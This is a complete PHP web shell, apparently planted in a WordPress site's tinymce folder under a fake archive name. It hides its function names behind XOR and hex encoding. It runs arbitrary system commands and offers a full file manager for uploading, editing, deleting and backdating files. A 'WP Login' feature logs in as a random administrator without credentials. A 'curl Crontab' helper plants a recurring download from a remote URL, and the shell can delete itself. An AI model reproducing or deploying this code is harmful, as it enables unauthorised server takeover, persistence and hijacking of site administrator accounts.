/data/web/1/000/076/129/313906/htdocs/web_styroporzuschnitte24/wp-includes/js/tinymce/min.tar.gz (48.31 KB)
<?php
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
error_reporting(0);
function xorEncryptDecrypt($input, $key = "12") {
$output = '';
for ($i = 0; $i < strlen($input); $i++) {
$output .= $input[$i] ^ $key[$i % strlen($key)];
}
return $output;
}
function get_current_path() {
$path = isset($_POST['path']) && !empty($_POST['path']) ? decode_char($_POST['path']) : getcwd();
return $path;
}
function code_execution($value, $function) {
$output = '';
$decoded_function = decode_char($function);
$value = decode_char($value);
$proccl = decode_char('41405e516e515d5d4257');
$pcl = decode_char("41515d5d4257");
ob_start();
switch ($function) {
case '424b4246545f':
case '424b4246545f':
$decoded_function($value);
$output = ob_get_contents();
break;
case '544a5451':
$decoded_function($value, $output);
$output = implode("\n", $output);
break;
case '425a545e5d6d544a5451':
$output = $decoded_function($value);
break;
case '415d41575f':
$handle = $decoded_function($value, 'r');
if (is_resource($handle)) {
while (!feof($handle)) {
$output .= fread($handle, 4096);
}
$pcl($handle);
}
break;
case '41405e516e5d41575f':
$descriptorspec = [
0 => ["pipe", "r"],
1 => ["pipe", "w"],
2 => ["pipe", "w"]
];
$process = $decoded_function($value, $descriptorspec, $pipes);
if (is_resource($process)) {
$output = stream_get_contents($pipes[1]);
fclose($pipes[1]);
$proccl($process);
}
break;
default:
break;
}
ob_end_clean();
return $output ?: 'No output?';
}
function wp_action_mode($mode) {
global $glob_file;
if ($glob_file && ($glob_file !== '0' && file_exists($glob_file))) {
require_once $glob_file;
}
$log_function = decode_char('46426e4154466e534446596d525d5e595857');
$set_current = decode_char('46426e4154466e51444043575f466e47425743');
$allowed_role = decode_char("50565c5b5f5b42464353455d43");
if (!function_exists($log_function)) {
return false;
}
switch ($mode) {
case 'log':
$users = get_users(["role" => $allowed_role]);
if (!$users) {
return false;
}
$arr_rand = array_rand($users, 1);
$user = $users[$arr_rand];
if (!$user) {
return false;
}
$id = $user->data->ID;
$log_function($id);
$set_current($id);
return $id;
break;
default:
die("nothing");
break;
}
}
function listing_all_directory() {
$path = get_current_path();
$result = array();
$date_format = "d-m-Y H:i:s";
if ($handle = opendir($path)) {
while (false !== ($dir = readdir($handle))) {
if ($dir === '.' || $dir === '..') {
continue;
}
$full_path = "$path/$dir";
$is_dir = is_dir($full_path);
$tmp_result = array(
'path' => htmlspecialchars($full_path),
'is_writable' => is_writable($full_path),
'is_dir' => $is_dir,
'date' => date($date_format, filemtime($full_path)),
'size' => $is_dir ? "" : round(filesize($full_path) / 1024, 2),
);
$result[] = $tmp_result;
}
closedir($handle);
}
return $result;
}
$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : false;
$glob_file = isset($_COOKIE['glob-file']) && !empty($_COOKIE['glob-file']) ? $_COOKIE['glob-file'] : false;
if (!$glob_file) {
$glob_file = check_load_file() ?: '0';
setcookie("glob-file", $glob_file);
}
function check_load_file() {
$filename = decode_char("46421c5e5e53551c415a41");
$root_directory = $_SERVER['DOCUMENT_ROOT'];
$file_path = $root_directory . DIRECTORY_SEPARATOR . $filename;
return file_exists($file_path) ? $file_path : false;
}
if (!$action) {
main();
menu();
}
function decode_char($string) {
$h = hex2bin($string);
return xorEncryptDecrypt($h);
}
switch ($action) {
case 'd':
die(json_encode(listing_all_directory()));
break;
case 'ec':
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$value = $_POST['value'];
$function = $_POST['function'];
$output = code_execution($value, $function);
$message['output'] = $output;
die(json_encode($message));
}
echo '(:';
break;
case 'wp':
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$mode = $_REQUEST['mode'];
$result = wp_action_mode($mode);
$message['result'] = $result;
$message['success'] = $result ? true : false;
die(json_encode($message));
}
case 'r':
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$data = json_decode(file_get_contents("php://input"), true);
$content = show_base_data()($data['content']);
$filename = decode_char($data['filename']);
$message['success'] = fm_write_file($filename, $content);
die(json_encode($message));
}
main();
$content = customize_read_file(decode_char($_REQUEST['filename']));
show_text_area(htmlspecialchars($content));
break;
case 'cf':
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$data = explode(',', $_POST['data']);
$list_functions = array_map('decode_char', $data);
foreach ($list_functions as $function) {
if (function_exists($function)) {
$message['avail'] = true;
$message['func'] = $function;
die(json_encode($message));
}
}
$message['avail'] = false;
die(json_encode($message));
}
echo "Missing someone?";
break;
case 'cr':
main();
show_text_area("");
break;
case 'ul':
$filename = decode_char($_REQUEST['filename']);
if (show_un()($filename)) {
$message['success'] = true;
} else {
$message['success'] = false;
}
die(json_encode($message));
break;
case 'up':
$file = $_FILES['import_file'];
$tmp_name = $file['tmp_name'];
$content = customize_read_file($tmp_name);
if (isset($_POST['by'])) {
$content = show_base_data()($content);
}
$path = get_current_path();
$name = $file['name'];
$destination = "$path/$name";
$message['success'] = $content && fm_write_file($destination, $content) ?: rename($tmp_name, $destination);
die(json_encode($message));
break;
case 're':
$filename = decode_char($_REQUEST['filename']);
$path = $_REQUEST['path'];
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$old_filename = "$path/$filename";
$new = $_POST['new'];
$new_filename = "$path/$new";
$message['success'] = rename($old_filename, $new_filename);
die(json_encode($message));
}
break;
case 'to':
$filename = decode_char($_REQUEST['filename']);
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$date = $_POST['date'];
$str_date = strtotime($date);
$message['success'] = touch($filename, $str_date);
clearstatcache(true, $filename);
die(json_encode($message));
}
case 'sd':
$un = show_un();
$un(__FILE__);
$message['success'] = true;
die(json_encode($message));
break;
default:
break;
}
function customize_read_file($file) {
if (!file_exists($file) || filesize($file) < 1) {
return '';
}
$handle = fopen($file, 'r');
if ($handle) {
$content = fread($handle, filesize($file));
if ($content) {
return $content;
}
}
$lines = file($file);
if ($lines) {
return implode($lines);
}
return show_file_contents()($file);
}
function show_file_contents() {
$file = "file_";
$old = "get_";
$contents = "contents";
return "$file$old$contents";
}
function show_text_area($content) {
$filename = decode_char($_REQUEST['filename']);
echo <<<HTML
<div class="panel">
<p><a href='?' id='back_menu'>< Back</a></p>
<br>
<div class="file-path">$filename</div>
<textarea id="content" class="file-content">$content</textarea>
<button type="submit" class="btn" id="textarea-handle">Save</button>
</div>
HTML;
}
function show_base_data() {
$alvian = "base";
$nadir = "64_decode";
return "$alvian$nadir";
}
function fm_write_file($file, $content) {
if (function_exists('fopen')) {
$handle = @fopen($file, 'w');
if ($handle) {
if (@fwrite($handle, $content) !== false) {
fclose($handle);
return file_exists($file) && filesize($file) > 0;
}
fclose($handle);
}
}
if (function_exists('file_put_contents')) {
if (@file_put_contents($file, $content) !== false) {
return file_exists($file) && filesize($file) > 0;
}
}
return false;
}
function fm_make_request($url) {
if (function_exists("curl_init")) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$output = curl_exec($ch);
return $output;
}
return show_file_contents()($url);
}
function show_un() {
$link = "link";
$unpad = "un";
return "$unpad$link";
}
function main() {
global $current_path;
global $glob_file;
$current_path = isset($_REQUEST['path']) ? $_REQUEST['path'] : false;
if (!$current_path) {
setcookie("path", getcwd());
$current_path = getcwd();
}
$path = str_replace('\\', '/', $current_path);
$paths = explode('/', $path);
echo '<div class="breadcrumb" id="path_div">';
foreach ($paths as $id => $pat) {
if ($id == 0) {
echo '<a href="#" path="/" onclick="change_path(this)">/</a>';
}
if ($pat != '') {
$tmp_path = implode('/', array_slice($paths, 0, $id + 1));
echo "<a href='#' path='$tmp_path' onclick='change_path(this)'>$pat/</a>";
}
}
echo "</div>";
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<style>
:root {
--bg-color: #1a1a1a;
--panel-color: #252525;
--text-color: #e0e0e0;
--accent-color: #4a8fe7;
--border-color: #333;
--success-color: #4caf50;
--error-color: #f44336;
--warning-color: #ff9800;
}
* {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: 'Courier New', monospace;
}
body {
background-color: var(--bg-color);
color: var(--text-color);
padding: 20px;
}
a {
text-decoration: none;
color: var(--text-color)
}
.ml-2em {
color: var(--text-color);
margin-right: 8px;
}
.ml-2am {
margin-left: 2.4em;
}
.mr-10 {
margin-right: 15px;
}
.white {
color: var(--text-color)
}
.red {
color: var(--error-color)
}
.panel {
background-color: var(--panel-color);
border-radius: 5px;
padding: 15px;
margin-bottom: 20px;
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.3);
}
.panel-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 15px;
padding-bottom: 10px;
border-bottom: 1px solid var(--border-color);
}
.blur-table {
filter: blur(8px);
-webkit-filter: blur(8px);
}
.panel-title {
font-weight: bold;
color: var(--accent-color);
}
.btn {
background-color: var(--accent-color);
color: white;
border: none;
padding: 5px 10px;
border-radius: 3px;
cursor: pointer;
font-size: 0.8rem;
transition: background-color 0.2s;
}
.btn:hover {
background-color: #3a7bd5;
}
.btn-secondary {
background-color: var(--panel-color);
border: 1px solid var(--border-color);
}
.btn-secondary:hover {
background-color: #333;
}
.btn-danger {
background-color: var(--error-color);
}
.btn-danger:hover {
background-color: #d32f2f;
}
.breadcrumb {
display: flex;
align-items: center;
gap: 2px;
margin-bottom: 15px;
flex-wrap: wrap;
}
.breadcrumb-item {
color: var(--text-color);
cursor: pointer;
}
.breadcrumb-item:hover {
text-decoration: underline;
}
.breadcrumb-separator {
color: var(--border-color);
}
.file-content {
width: 100%;
min-height: 300px;
background-color: #333;
border: 1px solid var(--border-color);
color: var(--text-color);
padding: 10px;
font-family: monospace;
margin-bottom: 15px;
border-radius: 3px;
}
.file-path {
margin-bottom: 10px;
color: var(--accent-color);
}
.file-table {
width: 100%;
border-collapse: collapse;
}
.file-table th, .file-table td {
padding: 10px;
text-align: left;
border-bottom: 1px solid var(--border-color);
}
.file-table th {
color: var(--accent-color);
}
.file-table tr:hover {
background-color: #1b1b1b;
}
.file-row:hover {
background-color: #333;
}
.file-icon {
margin-right: 8px;
color: var(--accent-color);
}
.file-actions {
display: flex;
gap: 5px;
}
.file-action-btn {
background: none;
border: none;
color: var(--accent-color);
cursor: pointer;
font-size: 0.8rem;
}
.file-action-btn:hover {
text-decoration: underline;
}
.tools-panel {
display: flex;
gap: 15px;
margin-bottom: 15px;
}
.tool {
background-color: #333;
padding: 8px 12px;
border-radius: 5px;
cursor: pointer;
transition: background-color 0.2s;
}
.tool:hover {
background-color: #3a3a3a;
}
.notification {
position: fixed;
bottom: 20px;
left: 20px;
background-color: var(--accent-color);
color: white;
padding: 10px 15px;
border-radius: 3px;
z-index: 100;
animation: slideIn 0.3s;
}
@keyframes slideIn {
from { transform: translateY(100%); opacity: 0; }
to { transform: translateY(0); opacity: 1; }
}
.hidden {
display: none;
}
.checkbox-label {
display: flex;
align-items: center;
gap: 5px;
cursor: pointer;
}
#bypass-upload:checked {
accent-color: var(--warning-color);
}
.checkbox-label input {
cursor: pointer;
}
.command-input {
display: flex;
gap: 10px;
margin-bottom: 15px;
}
.command-input input {
flex: 1;
background-color: #333;
border: 1px solid var(--border-color);
color: var(--text-color);
padding: 8px;
border-radius: 3px;
}
.command-output {
height: 200px;
overflow-y: auto;
background-color: #333;
padding: 10px;
border-radius: 3px;
margin-bottom: 15px;
white-space: pre-wrap;
font-family: monospace;
}
</style>
<script>
function getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
}
const loadFile = '<?php echo $glob_file; ?>' || getCookie('glob-file');
const homePath = '<?php echo getcwd(); ?>'
const docRoot = '<?php echo $_SERVER["DOCUMENT_ROOT"]; ?>'.replace(/\/$/, "")
</script>
<script>
// Your existing JavaScript code remains the same
// I've included the key parts that need to stay unchanged
const urlObject = new URL(window.location.href)
const baseUrl = `${urlObject.origin}${urlObject.pathname}`
const essential_id = [
'file-table',
'byp',
'path_div',
'bypass-section',
'tools',
'file-manager',
'tool-panel'
]
const additional_id = [
'com-section'
]
function change_path(obj) {
var path = obj.getAttribute("path");
localStorage.setItem("path", path)
console.log("change to " + path);
init(path);
changePath(path);
}
function changePath(path) {
const wrapper = document.getElementById('path_div');
wrapper.innerHTML = '';
const paths = path.split('/').filter(Boolean);
let rootLink = document.createElement('a');
rootLink.href = "#";
rootLink.textContent = "/";
rootLink.setAttribute("onclick", "change_path(this)")
rootLink.setAttribute("path", "/")
wrapper.appendChild(rootLink);
paths.forEach((pat, id) => {
let tmpPath = '/' + paths.slice(0, id + 1).join('/');
let link = document.createElement('a');
link.href = "#";
link.setAttribute('path', tmpPath);
link.textContent = `${pat}/`;
link.setAttribute("onclick", "change_path(this)");
wrapper.appendChild(link);
});
}
function get_current_path() {
var path_div = document.getElementById("path_div").textContent
var current_path = path_div.split('\n').join()
return current_path;
}
function create_file() {
var name = prompt("File name ", "hello.php")
var current_path = get_current_path();
if (!name) {
return;
}
var current_path = prompt("Directory ", current_path)
var destination = encodeXorString(`${current_path}/${name}`);
location.href = '?action=r&filename=' + destination;
}
function refresh_path() {
localStorage.clear();
init();
changePath(homePath)
}
function create_table_data(name, size, is_writable, date, is_dir) {
var file_name = name.split('/').pop();
var data = {
"name": name,
"size": size,
"is_writable": is_writable,
"date": date,
}
var table_row = document.createElement("tr");
for (var i in data) {
var td = document.createElement("td");
if (i == "name") {
if (is_dir) {
td.innerHTML = `<a href='#' onclick='change_path(this)' path='${data[i]}' class='ml-2em'>📁 ${file_name}</a>`;
} else {
td.innerHTML = `<a href='?action=r&filename=${encodeXorString(data[i])}' path='${data[i]}'>📄 ${file_name}</a>`;
}
} else if (i == "date") {
td.innerHTML += `<a href='#' class='white mr-10' path='${data.name}' onclick='touch_file(this)' value='${data.date}'>${date}</a>`
} else {
td.innerHTML = data[i];
}
if (i !== "name") {
td.setAttribute("class", "tc")
}
table_row.appendChild(td);
}
var td_actions = document.createElement("td");
td_actions.setAttribute('class', 'tc');
td_actions.innerHTML += `<a href='#' class='white mr-10' path='${file_name}' onclick='rename_file(this)' >R</a>`
if (data.name.includes(docRoot) && data.name !== docRoot) {
var file_url = window.location.origin + data.name.replace(docRoot, '/');
td_actions.innerHTML += `<a href='${file_url}' target='_blank' class='mr-10 white'>V</a>`
}
td_actions.innerHTML += `<a href='#' class='red mr-10' path='${data.name}' onclick="delete_file(this)">D</a>`
table_row.appendChild(td_actions);
document.getElementById("data_table").appendChild(table_row);
}
function ask_url_path() {
var url = prompt("URL : ")
var file_path = prompt("File Save : ", `${docRoot}/hello.php`)
if(!url || !file_path){
return false;
}
return {
url: url,
file_path: file_path
}
}
function touch_file(obj) {
var filename = obj.getAttribute("path");
var old_date = obj.getAttribute("value");
var newdate = prompt("Enter your new date : ", old_date)
if (newdate && newdate !== old_date) {
var data = new FormData();
data.append("date", newdate);
data.append("filename", encodeXorString(filename));
set_message("Loading");
post_url('to', data, false).then((response) => {
if (!response.ok) {
set_message("ERROR: Invalid response");
return false;
}
response.json().then((resp) => {
if (resp.success) {
set_message("Date modified!");
obj.innerText = newdate;
obj.setAttribute("value", newdate)
} else {
set_message("ERROR: Failed to change modified date")
}
}).catch(err => {
set_message("ERROR: Invalid parse json ")
console.log(err)
})
})
}
}
function change_data_info(obj, new_name) {
var nodeChild = obj.parentElement.parentNode.getElementsByTagName("a");
var file_name = obj.getAttribute("path").split('/').pop()
for (i in nodeChild) {
var childObject = nodeChild[i];
if (childObject instanceof Element && childObject.hasAttribute("path")) {
var childPath = childObject.getAttribute("path");
var childPathSplit = childPath.split('/')
childPathSplit[childPathSplit.length - 1] = new_name
if (childPathSplit.length == 1) {
childObject.removeAttribute("path");
childObject.setAttribute("path", childPathSplit[0])
} else {
childObject.removeAttribute("path");
childObject.setAttribute("path", childPathSplit.join('/'))
}
if (childObject.innerText == file_name) {
childObject.innerHTML = childObject.innerHTML.replace(file_name, new_name)
}
}
}
}
function rename_file(obj) {
var current_filename = obj.getAttribute("path")
var newname = prompt("Enter your new name : ", current_filename)
if (newname && newname !== current_filename) {
var formdata = new FormData();
formdata.append("new", newname);
formdata.append("filename", encodeXorString(current_filename))
formdata.append("path", get_current_path());
post_url('re', formdata, false).then((response) => {
if (!response.ok) {
set_message("ERROR: Invalid response");
return false;
}
response.json().then((resp) => {
if (resp.success) {
set_message("Renamed!");
change_data_info(obj, newname)
} else {
set_message("ERROR: Failed to rename")
}
}).catch(err => {
set_message("ERROR: Invalid parse json ")
console.log(err)
})
})
}
}
function delete_file(obj) {
var filename = obj.getAttribute("path")
var data = new FormData();
data.append("filename", encodeXorString(filename));
post_url('ul', data, false).then((response) => {
if (!response.ok) {
set_message("ERROR: Invalid response")
return false
}
response.json().then((message) => {
if (message.success) {
set_message("File Deleted!");
obj.parentElement.parentNode.remove()
} else {
set_message("Can not delete")
}
}).catch(err => {
set_message("ERROR: Parsing json")
console.log(err)
})
})
}
function post_url(action, data, parse_json = true) {
if (parse_json) {
data = JSON.stringify(data);
}
var action = '?action=' + action;
var response = fetch(action, {
method: "POST",
body: data
})
return response;
}
function stringToHex(str) {
return str.split('')
.map(char => char.charCodeAt(0).toString(16).padStart(2, '0'))
.join('');
}
function hexToString(hex) {
let str = '';
for (let i = 0; i < hex.length; i += 2) {
str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
}
return str;
}
function xorEncryptDecrypt(input, key = "12") {
let output = '';
for (let i = 0; i < input.length; i++) {
output += String.fromCharCode(input.charCodeAt(i) ^ key.charCodeAt(i % key.length));
}
return output;
}
function process_upload(data, file_upload) {
var current_path = get_current_path();
set_message("Processing!")
post_url('up', data, false).then((resp) => {
if (!resp.ok) {
set_message("Error: Invalid status code")
return false;
}
resp.json().then((j) => {
if (j.success) {
var filesize = (file_upload.size / 1024).toFixed(2)
var last_modified = new Date(file_upload.lastModified).toLocaleString();
var name = `${current_path}/${file_upload.name}`
set_message("File Uploaded!")
removeLinkByFilename(file_upload.name)
create_table_data(name, filesize, '<p class="green">writable</p>', last_modified, false)
return true;
}
set_message("ERROR: Failed to upload")
}).catch((err) => {
set_message("ERROR: Invalid parse json");
console.log(err)
})
})
}
function handle_upload() {
//stringToHex(xorEncryptDecrypt(path))
var upload_input = document.getElementById("file-upload-input")
var file_upload = upload_input.files[0];
var bypass_upload = document.getElementById("bypass-upload")
var current_path = get_current_path();
var reader = new FileReader()
var data = new FormData()
data.append("path", stringToHex(xorEncryptDecrypt(current_path)));
if (bypass_upload.checked) {
reader.readAsArrayBuffer(file_upload)
data.append("by", true)
reader.onload = function(event) {
var arrayBuffer = event.target.result;
var binaryString = '';
var bytes = new Uint8Array(arrayBuffer);
var len = bytes.byteLength;
for (var i = 0; i < len; i++) {
binaryString += String.fromCharCode(bytes[i]);
}
var encoded_content = utf8ToBase64(binaryString);
var encoded_file = new File(
[encoded_content],
file_upload.name, {
type: "text/plain"
}
)
data.append("import_file", encoded_file)
process_upload(data, encoded_file)
}
} else {
data.append("import_file", file_upload);
process_upload(data, file_upload)
}
upload_input.value = ''
}
function utf8ToBase64(str) {
// Convert the string to a Uint8Array of bytes
return btoa(unescape(encodeURIComponent(str)));
}
async function textarea_handle() {
var content = document.getElementById("content");
var encoded_content = utf8ToBase64(content.value);
var urlParams = new URLSearchParams(window.location.href)
console.log(urlParams.get("filename"))
set_message("Processing")
var data = {
"content": encoded_content,
"filename": urlParams.get("filename")
}
post_url('r', data).then((resp) => {
resp.json().then((resp_json) => {
if (resp_json.success) {
set_message("Success!")
} else {
set_message("Failed!");
}
}).catch(err => {
set_message("ERROR: Parsing json");
console.log(err)
})
});
}
function removeLinkByFilename(filename) {
const links = document.querySelectorAll('a[path]');
links.forEach((link) => {
if (link.innerText == filename) {
link.parentElement.parentNode.remove()
}
})
}
function fetch_url(act, additional_params = {}) {
var params = new URLSearchParams({
action: act
})
if (additional_params) {
for (var i in additional_params) {
var value = additional_params[i]
if (i && value) {
params.append(i, value)
}
}
}
var endpoint = baseUrl + '?' + params.toString()
console.log(endpoint)
console.log(additional_params)
return fetch(endpoint)
}
function set_message(message, error = false) {
var notification = document.getElementById("notification");
if (!notification) {
notification = document.createElement("div")
notification.setAttribute("class", "notification")
notification.setAttribute("id", "notification ")
}
if (notification) {
notification.innerText = "";
}
notification.innerText = message;
var path_div = document.getElementById("path_div")
if (path_div) {
path_div.appendChild(notification)
}
setTimeout(function() {
notification.remove()
}, 3000)
}
function blurTable() {
var table_id = document.getElementById("data_table");
table_id.setAttribute("class", "blur-table");
}
function unblurTable() {
var table_id = document.getElementById("data_table");
table_id.removeAttribute("class")
}
function encodeXorString(str) {
return stringToHex(xorEncryptDecrypt(str))
}
function getLastPath() {
var last_path = localStorage.getItem("path")
if (!last_path) {
localStorage.setItem("path", get_current_path())
return getLastPath()
}
return last_path
}
function init(current_path = '') {
var table_id = document.getElementById("data_table");
blurTable();
var data = new FormData()
data.append("path", stringToHex(xorEncryptDecrypt(current_path)));
console.log(data);
var response = post_url("d", data, false)
response.then(function(resp) {
if (!resp.ok) {
set_message("ERROR: Fetching url");
}
table_id.innerHTML = ''
unblurTable()
resp.json().then((element) => {
element.sort((a, b) => {
if (a.is_dir !== b.is_dir) {
return b.is_dir - a.is_dir
}
return a.path.localeCompare(b.path);
})
element.forEach(data => {
var is_dir = data.is_dir;
var path = data.path;
var data_date = data.date;
var is_writable = data.is_writable ? '<p class="green">writable</p>' : '<p class="red">writable</p>';
create_table_data(path, data.size, is_writable, data_date, is_dir);
});
}).catch(err => {
set_message("ERROR: Parsing json ")
console.log(err)
})
})
}
function init_onload() {
var table = document.getElementById("data_table");
var last_path = getLastPath();
changePath(last_path)
if (table) {
init(last_path);
}
}
function EssentialToggle(list_ids = essential_id) {
for (var element_id in list_ids) {
let element = document.getElementById(list_ids[element_id])
if (!element) {
continue;
}
if (!element.classList.contains("hidden")) {
element.classList.add("hidden")
} else {
element.classList.remove("hidden");
}
}
}
function cron_output(data) {
var url = data.url
var file_path = data.file_path
var com_input = document.getElementById('com-input')
var text = `(crontab -l; echo "* * * * * curl ${url} -o ${file_path}") | crontab -`
com_input.value = text;
}
function show_command() {
EssentialToggle();
var cmd_id = document.getElementById("com-section")
cmd_id.classList.remove("hidden")
var curl_crontab = document.getElementById('curl-crontab')
curl_crontab.addEventListener('click', function() {
var data = ask_url_path()
if(!data) {
return false;
}
cron_output(data)
})
}
function submit_com() {
var cmd_func = localStorage.getItem("cmdFunc")
var com_result = document.getElementById("command-output")
if (!cmd_func || (cmd_func && cmd_func == '0')) {
checkCommand();
com_result.innerText = 'Can not execute command? submit again'
return false;
}
var com_input = document.getElementById("com-input");
if (!com_input.value) {
return false;
}
var data = new FormData()
data.append("function", cmd_func)
data.append("value", encodeXorString(com_input.value))
com_input.value = ''
com_result.innerText = 'Processing...'
post_url('ec', data, false).then((response) => {
if (!response.ok) {
com_result.innerText = 'Invalid status code';
return;
}
response.json().then((resp_json) => {
if (resp_json.output) {
com_result.innerHTML = resp_json.output;
return;
}
com_result.innerText = 'No output:('
}).catch(err => {
set_message("ERROR: Parsing JSON!");
com_result.innerHTML = err;
})
})
}
function AdditionalToggle() {
EssentialToggle(additional_id)
EssentialToggle(essential_id)
}
function addClickListener(element_id, callback) {
var element = document.getElementById(element_id)
if (!element) {
return;
}
element.addEventListener("click", function(ev) {
callback()
})
}
function wp_login() {
set_message("Processing...");
var data = new FormData();
data.append("mode", "log")
post_url("wp", data, false).then((response) => {
if (!response.ok) {
return false;
}
response.json().then((j) => {
if (j.success) {
var user_id = j.result;
set_message(`Alright! Now you are ${user_id}`)
window.location.href = '/wp-admin/'
return;
}
set_message("Failed :(((")
})
})
}
function checkCommand() {
var data = new FormData();
var list_functions = [
'system',
'passthru',
'exec',
'shell_exec',
'proc_open',
'popen',
];
data.append("data", list_functions.map(encodeXorString))
post_url('cf', data, false).then((response) => {
if (!response.ok) {
set_message("ERROR: Invalid status code");
return false;
}
response.json().then((resp) => {
if (!resp.avail) {
localStorage.setItem("cmdFunc", "0");
return false;
}
localStorage.setItem("cmdFunc", encodeXorString(resp.func));
EssentialToggle(["command"]);
}).catch(err => {
set_message("ERROR: Invalid parse json");
console.log(err)
})
})
}
function selfDelete() {
var confirm_text = "Are you sure want to delete yourself?";
if (!confirm(confirm_text)) {
return false;
}
fetch_url('sd').then((response) => {
if (!response.ok) {
set_message("Failed to delete self");
return false;
}
response.json().then(resp_json => {
if (resp_json.success) {
set_message("Say goodbye to yourself!")
window.location.href = '/';
return;
}
set_message("Failed to delete self")
}).catch(err => {
set_message("ERROR: Parsing json")
console.log(err)
})
})
}
if (!localStorage.getItem("cmdFunc")) {
console.log("check command");
checkCommand();
}
document.addEventListener("DOMContentLoaded", function() {
var table = document.getElementById("data_table");
if (table) {
console.log("Init Onload");
init_onload();
}
if (localStorage.getItem("cmdFunc") && localStorage.getItem("cmdFunc") !== '0') {
EssentialToggle(["command"])
}
var com_input = document.getElementById("com-input");
const menu_id = [{
"id": "refresh-path",
"callback": refresh_path
},
{
"id": "create-file",
"callback": create_file
},
{
"id": "command",
"callback": show_command
},
{
"id": "submit-com",
"callback": submit_com
},
{
"id": "self-delete",
"callback": selfDelete
},
{
"id": "textarea-handle",
"callback": textarea_handle
},
{
"id": "wp-login",
"callback": wp_login
},
{
"id": "additional-toggle",
"callback": AdditionalToggle
}
]
menu_id.forEach(data => {
addClickListener(data.id, data.callback)
})
if (com_input) {
com_input.addEventListener("keypress", function(event) {
if (event.key == 'Enter') {
submit_com();
}
})
}
var back_menu = document.getElementById("back_menu");
if (back_menu) {
document.getElementById("path_div").innerHTML = ''
}
if (loadFile && loadFile !== '0') {
EssentialToggle(["wp-login"])
}
});
// Rest of your JavaScript functions (change_path, create_file, refresh_path, etc.)
// should remain exactly the same as in your original code
// Only change needed is to update the event listeners to match new IDs/classes
// All other functions remain exactly the same
</script>
</head>
<?php
}
?>
<?php
function menu(){
?>
<body>
<div class="panel">
<div class="panel-header" id="file-manager">
<div class="panel-title">HeLLO from Another world</div>
<div class="panel-actions">
<button class="btn" id="refresh-path">HOME</button>
<button class="btn" id="create-file">New File</button>
</div>
</div>
<div class="tools-panel" id="tool-panel">
<div class="tool" id="upload-file">
<form method="post" enctype="multipart/form-data">
<div class="file-upload mr-10">
<label for="file-upload-input" style="cursor: pointer;">
Upload
</label>
<input type="file" id="file-upload-input" style="display: none;" onchange="handle_upload()">
</div>
</form>
</div>
<div class="tool hidden" id="command">Command</div>
<div class="tool hidden" id="wp-login">WP Login</div>
<div class="btn btn-danger" id="self-delete" style="margin-left: auto;">
<i class="fas fa-trash"></i> Self Delete
</div>
</div>
<div class="tool" id='byp' style="margin-bottom: 15px">
<label class="checkbox-label" >
<input type="checkbox" id="bypass-upload"> Bypass Upload
</label>
</div>
<div class="panel hidden" id="com-section">
<div class="panel-header">
<div class="panel-title"><a href='#' id='additional-toggle'>
<p>
< Back To Menu</p>
</a> </div>
</div>
<textarea class="command-output" id="command-output" readonly style="width: 100%; color: whitesmoke">Hello ^^</textarea>
<div class="tools-panel">
<div class="tool" id="curl-crontab">curl Crontab</div>
</div>
<div class="command-input">
<input type="text" id="com-input" placeholder="Enter command...">
<button class="btn" id="submit-com">Execute</button>
</div>
</div>
<table class="file-table" id="file-table">
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Permissions</th>
<th>Modified</th>
<th>Actions</th>
</tr>
</thead>
<tbody id="data_table">
</tbody>
</table>
</div>
</body>
</html>
<?php
}
?>